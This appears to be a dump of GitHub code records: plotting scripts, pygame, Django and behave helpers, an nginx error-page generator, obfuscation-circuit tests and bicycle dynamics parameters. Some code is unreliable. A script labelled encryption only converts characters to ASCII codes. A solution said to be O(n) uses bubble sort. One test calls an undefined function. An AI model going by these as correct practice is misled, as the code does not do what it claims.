ax[0].set_xlim(-0.5, 15)\n ax[1].set_xlim(-0.5, 15)\n ax[2].set_xlim(-0.5, 15)\n ax[3].set_xlim(-0.5, 15)\n\n ax[0].xaxis.set_minor_locator(MultipleLocator(0.5))\n ax[1].xaxis.set_minor_locator(MultipleLocator(0.5))\n ax[2].xaxis.set_minor_locator(MultipleLocator(0.5))\n ax[3].xaxis.set_minor_locator(MultipleLocator(0.5))\n\n ax[1].yaxis.tick_right()\n ax[3].yaxis.tick_right()\n ax[1].set_xticklabels(['','',2.5,5.0,7.5,10.0,12.5,15.0])\n ax[3].set_xticklabels(['','',2.5,5.0,7.5,10.0,12.5,15.0])\n\n ax[1].yaxis.set_minor_locator(MultipleLocator(0.1))\n ax[2].yaxis.set_minor_locator(MultipleLocator(0.1))\n ax[3].yaxis.set_minor_locator(MultipleLocator(0.1))\n for x in range(4):\n if x == 1 or x == 3:\n fig.text(posList2[x][0],posList2[x][1], legendList[x], size = 11)\n\n ax[0].legend(frameon = False, loc = (0.1, 0.005), ncol = 2)\n ax[0].set_yticklabels([])\n ax[0].set_ylim(-.15, .6)\n ax[3].set_ylim(405.5, 409.5)\n # fig.text(0.42, 0.05, 'Scan position ($\\mathrm{\\mu m}$)')\n ax[0].set_title('Linescan', size = 10)\n ax[1].set_title('Frequency of $p1$', size = 10)\n # ax[2].set_title('Frequency of E$\\mathrm{_{2g}}$', size = 10)\n # ax[3].set_title('Frequency of A$\\mathrm{_{1g}}$', size = 10)\n fig.text(0.015, 0.27, 'Frequency (cm$^{-1}$)', va='center', rotation = 'vertical')\n fig.text(0.98, 0.48, 'Frequency (cm$^{-1}$)', va='center', rotation = 'vertical')\n\n for axe in ax:\n axe.set_xlabel('Scan position ($\\mathrm{\\mu m}$)')\n\n # axe.set_ylabel('Frequency (cm$^{-1}$)')\n\n # for idx, (pos, wid, col) in enumerate(indLines):\n # ax[1].axvline(pos, 0, 1, color = col, linestyle='solid', linewidth = wid)\n\n\n plt.subplots_adjust(wspace=0.05, hspace=0.22)\n # plt.savefig('{}/dispersion_layers_1.png'.format(thesisDir), dpi=300, bbox_inches = 'tight')\n plt.show()\n","repo_name":"NanoMatch1/OLD-matchbook","sub_path":"InstantRaman/Thesis/dispersion_layers_terraced_peakfit.py","file_name":"dispersion_layers_terraced_peakfit.py","file_ext":"py","file_size_in_byte":9016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30183305657","text":"# La portée des variables\n\nfoo = 123\n\ndef bar():\n foo = 42\n print(foo)\n\nprint(foo)\nbar()\nprint(foo)\n\ndef baz():\n print(foo)\n\nbaz()\n\n# => Python vérifie d'abord dans le scope local si la variable existe, si il ne trouve pas, il vérifie dans le scope global","repo_name":"morganeMjk/python","sub_path":"cours/scope.py","file_name":"scope.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28782714111","text":"# from pygmtls\nfrom pygame import draw, event, Surface\n\nclass Buttons:\n \"\"\"\n This class holds every button instance created by the create function\n \"\"\"\n def __init__(self):\n self.buttons = []\n self.visible = []\n self.hidden = []\n \n self.attrs = {\n \"rect\" : 0,\n \"colour\" : 1,\n \"event\" : 2,\n \"outlineWidth\" : 3,\n \"outlineColour\" : 4,\n \"text\" : 5,\n \"font\" : 6,\n \"textColour\" : 7,\n \"image\": 8\n }\n \n def create(self, rect, colour, event, outlineWidth = 0, outlineColour = (0, 0, 0), visible = True, text = \"\", font = None, textColour = (0, 0, 0), image = None) -> None:\n \"\"\"\n This function creates a button\n \n :param rect: the rectangle of the button\n :type rect: pygame.Rect\n \n :param colour: the colour of the rectangle\n :type colour: (R, G, B)\n \n :param event: event called by clicking on the button\n :type event: pygame.USEREVENT\n \n :param outlineWidth: the width of the outline\n :type int: integer\n \n :param outlineColour: the colour of the border\n :type outlineColour: (R, G, B)\n \"\"\"\n temp = [rect, colour, event, outlineWidth, outlineColour, text, font, textColour, image]\n if visible == True:\n self.visible.append(temp)\n else:\n self.hidden.append(temp)\n self.buttons.append(temp)\n\n def draw(self, window) -> None:\n for button in self.visible:\n \n # draws the rect of the button\n draw.rect(window, button[self.attrs[\"colour\"]], button[self.attrs[\"rect\"]])\n \n # draws the optional border of button\n if button[self.attrs[\"outlineWidth\"]] != 0:\n draw.rect(\n window,\n button[self.attrs[\"outlineColour\"]],\n button[self.attrs[\"rect\"]],\n button[self.attrs[\"outlineWidth\"]]\n )\n \n # draws the text of the button\n if button[self.attrs[\"font\"]] != None:\n # gets the surface containing the text\n txt = button[self.attrs[\"font\"]].render(\n button[self.attrs[\"text\"]],\n 1,\n button[self.attrs[\"textColour\"]]\n )\n \n # draws over the button\n window.blit(\n txt,\n (\n button[self.attrs[\"rect\"]].centerx - txt.get_width()/2,\n button[self.attrs[\"rect\"]].centery - txt.get_height()/2\n )\n )\n \n # draws the image of the button over the button\n if button[self.attrs[\"image\"]] != None:\n image = button[self.attrs[\"image\"]]\n window.blit(\n image,\n (\n button[self.attrs[\"rect\"]].centerx - image.get_width()/2,\n button[self.attrs[\"rect\"]].centery - image.get_height()/2\n )\n )\n \n def check(self, mouse) -> None:\n for button in self.visible:\n if button[self.attrs[\"rect\"]].collidepoint(mouse):\n event.post(event.Event(button[self.attrs[\"event\"]]))\n \n def toggleVis(self, rect) -> None:\n edited = False\n for button in self.visible:\n if button[self.attrs[\"rect\"]] == rect:\n self.visible.remove(button)\n self.hidden.append(button)\n edited = True\n \n if edited == False:\n for button in self.hidden:\n if button[self.attrs[\"rect\"]] == rect:\n self.hidden.remove(button)\n self.visible.append(button)\n \n def changeAttr(self, rect, attr, newVal) -> None:\n if attr in self.attrs.keys():\n for button in self.buttons:\n if button[self.attrs[\"rect\"]] == rect:\n button[self.attrs[attr]] = newVal\n else:\n raise ValueError(\"Attribute does not exist: \" + str(attr))\n \n def remove(self, rect) -> None:\n for button in self.buttons:\n if button[self.attrs[\"rect\"]] == rect:\n self.buttons.remove(button)\n try:\n self.hidden.remove(button)\n except:\n self.visible.remove(button)","repo_name":"Nahor-Nehc/Hole-in-the-wall","sub_path":"components/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9670226451","text":"from behave import *\nfrom functions.Functions import Functions\nfrom pages.Lovetest import LoveTest\nimport time\n\nuse_step_matcher(\"re\")\n\nMainLoveTest = LoveTest()\n\n\n@given(\"Start application in default device\")\ndef step_impl(context):\n \"\"\"\n :param device: is device that you will run the test\n :type context: behave.runner.Context\n \"\"\"\n desired_caps = Functions.get_capabilities(context)\n Functions.get_driver(context, capabilities=desired_caps)\n\n\n@given('Application start with device (.*)')\ndef step_impl(context, device):\n \"\"\"\n :param device: is device that you will run the test\n :type context: behave.runner.Context\n \"\"\"\n desired_caps = Functions.get_capabilities(context, test_device=device)\n Functions.get_driver(context, capabilities=desired_caps)\n\n\n@then(\"Close application\")\ndef step_impl(context):\n Functions.close_application(context)\n\n\n@when(\"I set (.*) and (.*) in LoveMain Page\")\ndef step_impl(context, arg1, arg2):\n for row in context.table:\n name1 = row['YOURNAME']\n name2 = row['HERNAME']\n LoveTest.set_players(context, name1, name2)\n\n\n@step(\"wait (.*) seconds\")\ndef step_impl(context, times):\n time.sleep(int(times))","repo_name":"MervinDiazLugo/udemy_python_appium","sub_path":"src/features/steps/Steps.py","file_name":"Steps.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"8256155403","text":"import os\n\nerrors = [\n# \"300 Multiple Choices\",\n \"301 Moved Permanently\",\n \"302 Found\",\n \"303 See Other\",\n \"304 Not Modified\",\n# \"305 Use Proxy\",\n \"307 Temporary Redirect\",\n \"308 Permanent Redirect\",\n \"400 Bad Request\",\n \"401 Unauthorized\",\n \"402 Payment Required\",\n \"403 Forbidden\",\n \"404 Not Found\",\n \"405 Method Not Allowed\",\n \"406 Not Acceptable\",\n# \"407 Proxy Authentication Required\",\n \"408 Request Timeout\",\n \"409 Conflict\",\n \"410 Gone\",\n \"411 Length Required\",\n \"412 Precondition Failed\",\n \"413 Content Too Large\",\n \"414 URI Too Long\",\n \"415 Unsupported Media Type\",\n \"416 Range Not Satisfiable\",\n# \"417 Expectation Failed\",\n \"421 Misdirected Request\",\n# \"422 Unprocessable Content\",\n# \"423 Locked\",\n# \"424 Failed Dependency\",\n# \"425 Too Early\",\n# \"426 Upgrade Required\",\n# \"428 Precondition Required\",\n \"429 Too Many Requests\",\n# \"431 Request Header Fields Too Large\",\n# \"451 Unavailable For Legal Reasons\",\n \"500 Internal Server Error\",\n \"501 Not Implemented\",\n \"502 Bad Gateway\",\n \"503 Service Unavailable\",\n \"504 Gateway Timeout\",\n \"505 HTTP Version Not Supported\",\n# \"506 Variant Also Negotiates\",\n \"507 Insufficient Storage\",\n# \"508 Loop Detected\",\n# \"510 Not Extended\",\n# \"511 Network Authentication Required\"\n]\nregex = \"30[123478]|40[012345689]|41[0-6]|42[19]|50[0123457]\"\n\nconfigfile = \"error-pages.conf\"\nif os.path.exists(configfile):\n print(\"ERROR: \" + configfile + \" already exists\")\n exit()\n\ndirectory = \"error-pages\"\nif os.path.exists(directory):\n print(\"ERROR: \" + directory + \" directory already exists\")\n exit()\nos.mkdir(directory)\n\nprint(\"Generating error pages...\")\nfor error in errors:\n with open(\"template.html\") as template:\n template = template.read()\n template = template.replace(\"$ERROR\", error)\n code = error[0:3]\n with open(directory + '/' + code + \".html\", 'w') as output:\n output.write(template)\n with open(configfile, 'a') as config:\n line = \"error_page \" + code + \" /\" + directory + '/' + code + \".html;\\n\"\n config.write(line)\n\nwith open(configfile, 'a') as config:\n data = \"\\n\"\n data += \"location ~ /error-pages/(\" + regex + \")\\.html {\\n\"\n data += \" root /var/www/default;\\n\"\n data += \"}\\n\"\n config.write(data)\n","repo_name":"bbielewicz/nginx-error-pages","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4400473338","text":"'''\nQ1.Facebook\n整数で構成される降順ソート済みの配列intArrが与えられるので、各要素を2乗し降順に並べ変えた配列を返す、sortedSquaredという関数を作成してください。\ninput\n[-6, -3, -1, 2, 4, 5]\noutput\n[1, 4, 9, 16, 25, 36]\ninput\n[-5, -4, -2, 0, 1]\noutput\n[0, 1, 4, 16, 25]\nHint:\n時間計算量:O(n)\n'''\n\ndef sortedSquared(num_list):\n squated_list = []\n for i in num_list:\n squated_list.append(i**2)\n return bubble_sort(squated_list)\n\ndef bubble_sort(arr):\n change = True\n while change:\n change = False\n for i in range(len(arr) - 1):\n if arr[i] > arr[i + 1]:\n arr[i], arr[i + 1] = arr[i + 1], arr[i]\n change = True\n return arr\nprint(sortedSquared([-5, -4, -2, 0, 1]))","repo_name":"atsuki12345/git_tutorial","sub_path":"practice1_facebook.py","file_name":"practice1_facebook.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24420405755","text":"import unittest\nfrom itertools import product, chain\n\nfrom obfusc8.blocks import *\n\nclass TestSimBlock(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tself.inputLength = 2\n\t\tself.inputs = [Input('x') for _ in range(0, self.inputLength)]\n\t\t\n\t\tsimBlock = SimBlock(self.inputs)\n\t\tself.circuit, self.control = simBlock.extractCircuit()\n\t\tself.circuit = Circuit(self.circuit, self.control)\n\n\tdef test_notGate_simulation(self):\n\t\tfor test in list(product([0,1], repeat=self.inputLength)):\n\t\t\ttest = list(test)\n\t\t\tcorrect = not test[0]\n\t\t\tresult = self.circuit.evaluate([0]+test)\n\t\t\tself.assertEqual(correct, result, 'Wrong evaluation on input %s. Was %s instead of %s'%(test, result, correct))\n\n\tdef test_andGate_simulation(self):\n\t\tfor test in list(product([0,1], repeat=self.inputLength)):\n\t\t\ttest = list(test)\n\t\t\tcorrect = test[0] and test[1]\n\t\t\tresult = self.circuit.evaluate([1]+test)\n\t\t\tself.assertEqual(correct, result, 'Wrong evaluation on input %s. Was %s instead of %s'%(test, result, correct))\n\nclass TestYBlock(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tself.inputLength = 2\n\t\tself.inputs = [Input('x') for _ in range(0, self.inputLength)]\n\n\t\tyBlock = YBlock(self.inputs)\n\t\tself.circuit, self.control = yBlock.extractCircuit()\n\t\tself.circuit = Circuit(self.circuit, self.control)\n\n\tdef test_left_switch(self):\n\t\tfor test in list(product([0,1], repeat=self.inputLength)):\n\t\t\ttest = list(test)\n\t\t\tcorrect = test[0]\n\t\t\tresult = self.circuit.evaluate([0]+test)\n\t\t\tself.assertEqual(correct, result, 'Wrong evaluation on input %s. Was %s instead of %s'%(test, result, correct))\n\n\tdef test_right_switch(self):\n\t\tfor test in list(product([0,1], repeat=self.inputLength)):\n\t\t\ttest = list(test)\n\t\t\tcorrect = test[1]\n\t\t\tresult = self.circuit.evaluate([1]+test)\n\t\t\tself.assertEqual(correct, result, 'Wrong evaluation on input %s. Was %s instead of %s'%(test, result, correct))\n\nclass TestSU1(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tself.inputLength = 10\n\t\tinputs = [Input('x') for _ in range(0, self.inputLength)]\n\t\tsu10Block = S_u_1(self.inputLength, inputs)\n\t\toutput, controls = su10Block.extractCircuit()\n\t\tself.circuit = Circuit(output, controls)\n\n\tdef test_every_position(self):\n\t\tfor pos in range(self.inputLength):\n\t\t\tctrlValues = S_u_1.getControlValues(self.inputLength, pos)\n\n\t\t\tfor test in list(product([0,1], repeat=self.inputLength)):\n\t\t\t\ttest = list(test)\n\t\t\t\tcorrect = test[pos]\n\t\t\t\tresult = self.circuit.evaluate(ctrlValues+test)\n\t\t\t\tself.assertEqual(correct, result, 'Wrong evaluation on input %s. Was %s instead of %s'%(test, result, correct))\n\n\tdef test_getControlValues(self):\n\t\tfor size in range(2, 100):\n\t\t\tfor pos in range(size):\n\t\t\t\tctrlValues = S_u_1.getControlValues(size, pos)\n\t\t\t\tcorrect = [0]*(pos-1)+[1]+[0]*(size-1-pos) if pos!=0 else [0]*(size-1)\n\t\t\t\tself.assertEqual(correct, ctrlValues, 'Incorrect control value list')\n\t\t\t\t\nclass TestSUV(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tself.inputLength = 10\n\t\tinputs = [Input('x') for _ in range(0, self.inputLength)]\n\t\tsuvBlock = S_u_v(self.inputLength, self.inputLength, inputs)\n\t\toutputList, controls = suvBlock.extractCircuit()\n\t\t#split controls into lists belonging to one output and consequently to one circuit\n\t\tcontrols = [controls[x:x+self.inputLength-1] for x in xrange(0, self.inputLength**2-self.inputLength, self.inputLength-1)]\n\t\tself.circuitList = [Circuit(out, ctrl) for out, ctrl in zip(outputList, controls)]\n\n\tdef test_every_position(self):\n\t\t#use S_u_1 to avoid having to split the control values again\n\t\tctrlValues = [S_u_1.getControlValues(self.inputLength, i) for i in range(self.inputLength)]\n\t\t\n\t\tfor test in list(product([0,1], repeat=self.inputLength)):\n\t\t\ttest = list(test)\n\t\t\t#the ith switch should return the ith bit so the result should be equal to the input\n\t\t\tcorrect = list(test)\n\t\t\tresult = [crc.evaluate(ctrl+test) for crc, ctrl in zip(self.circuitList, ctrlValues)]\n\t\t\tself.assertEqual(correct, result, 'Wrong evaluation on input %s. Was %s instead of %s'%(test, result, correct))\n\n\tdef test_getControlValues(self):\n\t\tcorrect = list(chain(*[S_u_1.getControlValues(self.inputLength, n) for n in range(self.inputLength)]))\n\t\tself.assertEqual(correct, S_u_v.getControlValues(self.inputLength, range(self.inputLength)), 'Incorrect control value list')\n\nclass TestUniversalCircuit(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tself.inputLength = 4\n\t\toutputLength = 1\n\t\tnumberOfGates = 5\n\t\tself.inputs = [Input('x') for _ in range(0, self.inputLength)]\n\t\t\n\t\tself.uc = UniversalCircuit(self.inputLength, outputLength, numberOfGates)\n\n\tdef test_simulate_example_circuit_1(self):\n\t\t# -(x0&(x1&(x2&-x3)))\n\t\tsimuland = Circuit(NotGate(AndGate(self.inputs[0], AndGate(self.inputs[1], AndGate(self.inputs[2], NotGate(self.inputs[3]))))))\n\t\t\n\t\tsimulandCtrlInput = UniversalCircuit.obtainCtrlInput(simuland)\n\t\t\n\t\t#assert that uc(sCtrlInput+Input) == simuland(Input) on all inputs\n\t\tfor test in list(product([0,1], repeat=self.inputLength)):\n\t\t\ttest = list(test)\n\t\t\tcorrect = simuland.evaluate(test)\n\t\t\tresult = self.uc.evaluate(simulandCtrlInput+test)\n\t\t\tself.assertEqual(correct, result, 'Simulation not correct on input %s. Was %s instead of %s'%(test, result, correct))\n\n\tdef test_simulate_example_circuit_2(self):\n\t\t# -(x0&x1)&(-x2&x3)\n\t\tsimuland = Circuit(AndGate(NotGate(AndGate(self.inputs[0], self.inputs[1])), AndGate(NotGate(self.inputs[2]), self.inputs[3])))\n\t\t\n\t\tsimulandCtrlInput = UniversalCircuit.obtainCtrlInput(simuland)\n\t\t\n\t\t#assert that uc(sCtrlInput+Input) == simuland(Input) on all inputs\n\t\tfor test in list(product([0,1], repeat=self.inputLength)):\n\t\t\ttest = list(test)\n\t\t\tcorrect = simuland.evaluate(test)\n\t\t\tresult = self.uc.evaluate(simulandCtrlInput+test)\n\t\t\tself.assertEqual(correct, result, 'Simulation not correct on input %s. Was %s instead of %s'%(test, result, correct))\n\n\tdef test_count_reuse_not_allowed(self):\n\t\tself.assertTrue(self.uc.countGates(0, False) > self.uc.countGates(0, True), 'not gate number with duplication too big')\n\t\tself.assertTrue(self.uc.countGates(1, False) > self.uc.countGates(1, True), 'and gate number with duplication too big')\n\n\tdef test_calcGates(self):\n\t\tself.assertEqual(self.uc.countGates(0), self.uc.calcGates(0), 'wrong calculation of not gate number')\n\t\tself.assertEqual(self.uc.countGates(1), self.uc.calcGates(1), 'wrong calculation of and gate number')\n\nif __name__ == '__main__':\n\tunittest.main()\n","repo_name":"tum-i4/indistinguishability-obfuscation","sub_path":"obfusc8/test/test_blocks.py","file_name":"test_blocks.py","file_ext":"py","file_size_in_byte":6350,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"75"} +{"seq_id":"41295154890","text":"# General parameters for my Fuji bike. Most of these paramters are measured,\n# and some are taken from the bike datasheet.\n\nimport math\n\n\n# general parameters for my Fuji bike\n# w = 1.0 # [m]\n# c = 0.067 # [m]\n# lamda = math.radians(18) # [rad]\n# g = 9.81 # [m/s/s]\n\n# # Rear wheel R\n# r_R = 0.35 # [m]\n# m_R = 2 # [kg]\n# I_Rxx = 0.1405/2 # [kg*m^2]\n# I_Ryy = 0.28/2 # [kg*m^2]\n\n# # Rear Body and frame assembly B\n# x_B = 0.4 # [m]\n# z_B = -1.2 # [m]\n# m_B = 75 # [kg]\n# I_Bxx = 3.1 # [kg*m^2]\n# I_Bxz = 0.8 # [kg*m^2]\n# I_Byy = 3.67 # [kg*m^2]\n# I_Bzx = I_Bxz # [kg*m^2]\n# I_Bzz = 0.93 # [kg*m^2]\n\n# # front Handlebar and fork assembly H\n# x_H = 0.9 # [m]\n# z_H = -0.7 # [m]\n# m_H = 4 # [kg]\n# I_Hxx = 0.05892 # [kg*m^2]\n# I_Hxz = -0.00756 # [kg*m^2]\n# I_Hyy = 0.06 # [kg*m^2]\n# I_Hzx = I_Hxz # [kg*m^2]\n# I_Hzz = 0.00708 # [kg*m^2]\n\n# # Front wheel F\n# r_F = 0.35 # [m]\n# m_F = 2 # [kg]\n# I_Fxx = 0.1405 # [kg*m^2]\n# I_Fyy = 0.28 # [kg*m^2]\n\n# --------Input Parameters ---------------#\n# general parameters for my Fuji bike\nw = 1.32 # [m]\nc = 0.082 # [m]\nlamda = math.radians(27) # [rad]\ng = 9.81 # [m/s/s]\n\n# Rear wheel R\nr_R = 0.25 # [m]\nm_R = 1 # [kg]\nI_Rxx = 0.1405/2 # [kg*m^2]\nI_Ryy = 0.28/2 # [kg*m^2]\n\n# Rear Body and frame assembly B\nx_B = 0.3 # [m]\nz_B = -0.58 # [m]\nm_B = 78-5.7 # [kg]\nI_Bxx = 9.2 # [kg*m^2]\nI_Bxz = 2.4 # [kg*m^2]\nI_Byy = 11 # [kg*m^2]\nI_Bzx = I_Bxz # [kg*m^2]\nI_Bzz = 2.8 # [kg*m^2]\n\n# front Handlebar and fork assembly H\nx_H = 1.2 # [m]\nz_H = -0.6 # [m]\nm_H = 5.7 # [kg]\nI_Hxx = 0.05892 # [kg*m^2]\nI_Hxz = -0.00756 # [kg*m^2]\nI_Hyy = 0.06 # [kg*m^2]\nI_Hzx = I_Hxz # [kg*m^2]\nI_Hzz = 0.00708 # [kg*m^2]\n\n# Front wheel F\nr_F = 0.25 # [m]\nm_F = 1 # [kg]\nI_Fxx = 0.1405/2 # [kg*m^2]\nI_Fyy = 0.28/2 # [kg*m^2]\n#-----------------------------------------#\n\n# Calculate total mass and center of mass location\nm_T = m_R + m_B + m_H + m_F\nx_T = (x_B*m_B + x_H*m_H + w*m_F)/m_T\nz_T = (-r_R*m_R + z_B*m_B + z_H*m_H - r_F*m_F)/m_T\n\n# Calculate total mass moment of inertia\nI_Txx = I_Rxx + I_Bxx + I_Hxx + I_Fxx + m_R*(r_R**2) + m_B*(z_B**2) + m_H*(z_H**2) + m_F*(r_F**2)\nI_Txz = I_Bxz + I_Hxz - m_B*x_B*z_B - m_H*x_H*z_H + m_F*w*r_F\n\n# Calculate symmetric mass moment of inertias\nI_Rzz = I_Rxx\nI_Fzz = I_Fxx\n\n# Calculate total z-axis mass moment of inertia\nI_Tzz = I_Rzz + I_Bzz + I_Hzz + I_Fzz + m_B*(x_B**2) + m_H*(x_H**2) + m_F*(w**2)\n\n# Calculate mass and center of mass location for the front assembly\nm_A = m_H + m_F\nx_A = (x_H*m_H + w*m_F)/m_A\nz_A = (z_H*m_H - r_F*m_F)/m_A\n\n# Calculate the mass moment of inertias for the fron assembly\nI_Axx = I_Hxx + I_Fxx + m_H*((z_H-z_A)**2) + m_F*((r_F+z_A)**2)\nI_Axz = I_Hxz - m_H*(x_H-x_A)*(z_H-z_A) + m_F*(w-x_A)*(r_F+z_A)\nI_Azz = I_Hzz + I_Fzz + m_H*((x_H-x_A)**2) + m_F*((w-x_A)**2)\n\n# Perpendicular distance of the center of mass of the fron assembly and the steering axis\nu_A = (x_A - w - c)*math.cos(lamda) - z_A*math.sin(lamda)\n\n# Mass moment of inertia about the steering axis of the front assembly\nI_Alamdalamda = m_A*(u_A**2) + I_Axx*(math.sin(lamda)**2) + 2*I_Axz*math.sin(lamda)*math.cos(lamda) + I_Azz*(math.cos(lamda)**2)\nI_Alamdax = -m_A*u_A*z_A + I_Axx*math.sin(lamda) + I_Axz*math.cos(lamda)\nI_Alamdaz = m_A*u_A*x_A + I_Axz*math.sin(lamda) + I_Azz*math.cos(lamda)\n\n# Trail ratio\nmu = c/w*math.cos(lamda)\n\n# gyrostatic coefficients\nS_R = I_Ryy/r_R\nS_F = I_Fyy/r_F\nS_T = S_R + S_F\nS_A = m_A*u_A + mu*m_T*x_T\n\n# Mass matrix components\nM_phiphi = I_Txx\nM_phidelta = I_Alamdax + mu*I_Txz\nM_deltaphi = M_phidelta\nM_deltadelta = I_Alamdalamda + 2*mu*I_Alamdaz + (mu**2)*I_Tzz\n\n# Mass matrix\nM = [[M_phiphi,M_phidelta], [M_deltaphi,M_deltadelta]]\n\n# Non-velocity dependent stiffness components\nK_0phiphi = m_T*z_T\nK_0phidelta = -S_A\nK_0deltaphi = K_0phidelta\nK_0deltadelta = -S_A*math.sin(lamda)\n\n# Non-velocity dependent stiffnes matrix\nK_0 = [[K_0phiphi,K_0phidelta], [K_0deltaphi,K_0deltadelta]]\n\n# velocity dependent stiffness components\nK_2phiphi = 0\nK_2phidelta = (S_T-m_T*z_T)/w*math.cos(lamda)\nK_2deltaphi = 0\nK_2deltadelta = (S_A+S_F*math.sin(lamda))/w*math.cos(lamda)\n\n# velocity dependent stiffness matrix\nK_2 = [[K_2phiphi,K_2phidelta], [K_2deltaphi,K_2deltadelta]]\n\n# Damping constant components\nC_1phiphi = 0\nC_1phidelta = mu*S_T + S_F*math.cos(lamda) + I_Txz/w*math.cos(lamda) - mu*m_T*z_T\nC_1deltaphi = -(mu*S_T + S_F*math.cos(lamda))\nC_1deltadelta = I_Alamdaz*math.cos(lamda)/w + mu*(S_A+I_Tzz/w*math.cos(lamda))\n\n# Damping constant matrix\nC_1 = [[C_1phiphi,C_1phidelta], [C_1deltaphi,C_1deltadelta]]\n\n# print(C_1)","repo_name":"ryan-takatsuka/controller-simulations","sub_path":"bicycle_controller/bike_parameters.py","file_name":"bike_parameters.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5161657413","text":"from pyha.common.const import Const\nfrom pyha.common.sfix import Sfix, resize, fixed_truncate\nfrom pyha.common.hwsim import HW\nimport numpy as np\nfrom pyha.simulation.simulation_interface import debug_assert_sim_match, SIM_GATE, plot_assert_sim_match, SIM_MODEL, \\\n SIM_HW_MODEL, SIM_RTL\nimport matplotlib.pyplot as plt\n\n\nclass Basic(HW):\n def main(self, x):\n a = x + 1 + 3\n b = a * 314\n return a, b\n\n def model_main(self, xl):\n al = [x + 1 + 3 for x in xl]\n bl = [a + 2 for a in al]\n return al, bl\n\n\ndef test_comb():\n dut = Basic()\n x = [1, 2, 2, 3, 3, 1, 1]\n\n r = debug_assert_sim_match(dut, None, x,\n simulations=[SIM_MODEL, SIM_HW_MODEL, SIM_RTL, SIM_GATE],\n dir_path='/home/gaspar/git/thesis/playground')\n\n fig, axes = plt.subplots(2, 1, sharex=True, sharey=True, figsize=(8, 3.5))\n # add a big axes, hide frame\n fig.add_subplot(111, frameon=False)\n axes[0].plot(x, label='x')\n axes[0].plot(r[0][0], label='a: Model')\n axes[0].plot(r[1][0], label='a: Pyha')\n axes[0].plot(r[2][0], label='a: RTL')\n axes[0].plot(r[2][0], label='a: GATE')\n axes[0].legend(loc='upper right')\n axes[0].set_yticks([1, 3, 5, 7, 9])\n axes[0].grid()\n\n axes[1].plot(x, label='x')\n axes[1].plot(r[0][1], label='b: Model')\n axes[1].plot(r[1][1], label='b: Pyha')\n axes[1].plot(r[2][1], label='b: RTL')\n axes[1].plot(r[2][1], label='b: GATE')\n axes[1].legend(loc='upper right')\n axes[1].grid()\n\n # hide tick and tick label of the big axes\n plt.tick_params(labelcolor='none', top='off', bottom='off', left='off', right='off')\n plt.xlabel(\"Sample number\")\n plt.ylabel(\"Amplitude\")\n plt.yticks([1,2,3,4,5])\n plt.savefig('img/add_multi_sim.png', bbox_inches='tight')\n\n plt.show()\n\n print(r)\n\n\nclass Adder(HW):\n def main(self, x):\n y = x + 1\n return y\n\n def model_main(self, xl):\n yl = [x + 1 for x in xl]\n return yl\n\n\ndef test_adder():\n dut = Adder()\n x = [1, 2, 2, 3, 3, 1, 1]\n\n r = debug_assert_sim_match(dut, None, x,\n simulations=[SIM_MODEL, SIM_HW_MODEL, SIM_RTL],\n dir_path='/home/gaspar/git/thesis/playground')\n\n plt.figure(figsize=(8, 1.5))\n plt.plot(x, label='x')\n plt.plot(r[0], label='y: Model')\n plt.plot(r[1], label='y: Pyha')\n plt.plot(r[2], label='y: RTL')\n plt.plot(r[2], label='y: GATE')\n plt.legend(loc='upper right')\n\n plt.grid()\n plt.xlabel(\"Sample number\")\n plt.ylabel(\"Value\")\n plt.savefig('img/add_sim.png', bbox_inches='tight')\n plt.show()\n\n print(r)\n\n\ndef test_add():\n x = [1, 2, 2, 3, 3, 1, 1]\n expect = [2, 3, 3, 4, 4, 2, 2]\n\n dut = Adder()\n assert_simulation(dut, expect, x)","repo_name":"gasparka/thesis","sub_path":"examples/adder/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35095436573","text":"import sys\r\n# Input first file name\r\nf1 = str(sys.argv[1])\r\nfo_1 = open(f1)\r\ntext = fo_1.read()\r\n\r\n# Input the 2nd file name\r\nf2 = str(sys.argv[2])\r\nfo_2 = open(f2, \"w\")\r\n\r\n# Encryption Process\r\nASCII_values = []\r\nfor character in text:\r\n ASCII_values.append(ord(character))\r\n\r\nfo_2.write(str(ASCII_values))\r\nfo_2.close()\r\n","repo_name":"DulhanPerera/encryption-decryption","sub_path":"Me/enc.py","file_name":"enc.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"11773166237","text":"from django import template\nfrom django.template.defaultfilters import stringfilter\n\nregister = template.Library()\n\n@register.filter\n@stringfilter\ndef upto(value, delimiter=None):\n return value.split(delimiter)[0]\nupto.is_safe = True\n\n@register.filter\ndef user_liked_in_post(user, post):\n\n liked_obj = post.post_liked.filter(user=user)\n # print(liked_obj)\n return liked_obj\n\n@register.filter\ndef user_liked_in_comment(user, comment):\n\n liked_obj = comment.comment_liked.filter(user=user)\n # print(liked_obj)\n return liked_obj","repo_name":"fidanazhan/django-social-media-clone","sub_path":"post/templatetags/upto.py","file_name":"upto.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3988486469","text":"import copy\nimport pygame\nimport sys\nimport random\nimport 